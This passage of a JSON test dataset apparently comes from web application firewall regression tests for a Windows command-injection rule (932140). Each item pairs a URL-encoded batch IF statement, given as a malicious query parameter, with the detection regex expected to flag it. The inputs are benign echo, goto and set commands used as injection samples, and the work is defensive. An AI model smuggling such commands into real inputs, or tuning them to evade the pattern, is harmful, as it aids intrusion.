(?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++NOT+red%3D%3D%3Dred++++++++++++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+++++Red%3D%3Dred+++++++++++++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%281%29+equ+%281%29+echo+hey" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+%282+equ+2%29+echo+hey" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%25VAR%25%22%3D%3D%25%25A+do+echo+true" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%22%25%7E1%22+%3D%3D+%22%25%7E2%22+%28EXIT+%2FB+0%29+ELSE+%28EXIT+%2FB+1%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%25n1%25+gtr+%25n2%25+echo+%25n1%25+is+greater+than+%25n2%25" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%25n1%25+lss+%25n2%25+echo+%25n1%25+is+less+than+%25n2%25" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%25n1%25+equ+%25n2%25+echo+%25n1%25+is+equal+to+%25n2%25" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%25n1%25%22+gtr+%22%25n2%25%22+echo+%22%25n1%25%22+is+greater+than+%22%25n2%25%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%25n1%25%22+lss+%22%25n2%25%22+echo+%22%25n1%25%22+is+less+than+%22%25n2%25%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%25n1%25%22+equ+%22%25n2%25%22+echo+%22%25n1%25%22+is+equal+to+%22%25n2%25%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+defined+n1+set+%22n1%3D0%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+X%251%3D%3DX%2F%3F+GOTO+Helpscreen" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%22%251%22%3D%3D%22%2F%3F%22+..." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%5B%251%5D%3D%3D%5B%2F%3F%5D+..." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%22%25%7E1%22%3D%3D%22%2F%3F%22+..." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+ERRORLEVEL+3+IF+NOT+ERRORLEVEL+4+..." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+NOT+DEFINED+BAR+%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%25VAR%25%22+%3D%3D+%22before%22+%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%25VAR%25%22+%3D%3D+%22after%22+%40echo+ok" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%21VAR%21%22+%3D%3D+%22after%22+%40echo+ok" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+defined+BAR+set+FOO%3D1%26+echo+FOO%3A+%25FOO%25" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%28%251%29%3D%3D%28LTRS%29+CD+C%3A%5CWORD%5CLTRS" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22%251%22%3D%3D%22%22+goto+ERROR" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%28AA%29+%3D%3D+%28AA%29+echo+same" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%5BAA%5D+%3D%3D+%5BAA%5D+echo+same" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%22A+A%22+%3D%3D+%22A+A%22+echo+same" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%25_prog%3A%7E-1%25+NEQ+%5C+%28Set+_prog%3D%25_prog%25%5C%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+EXIST+%22temp.txt%22+ECHO+found" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", 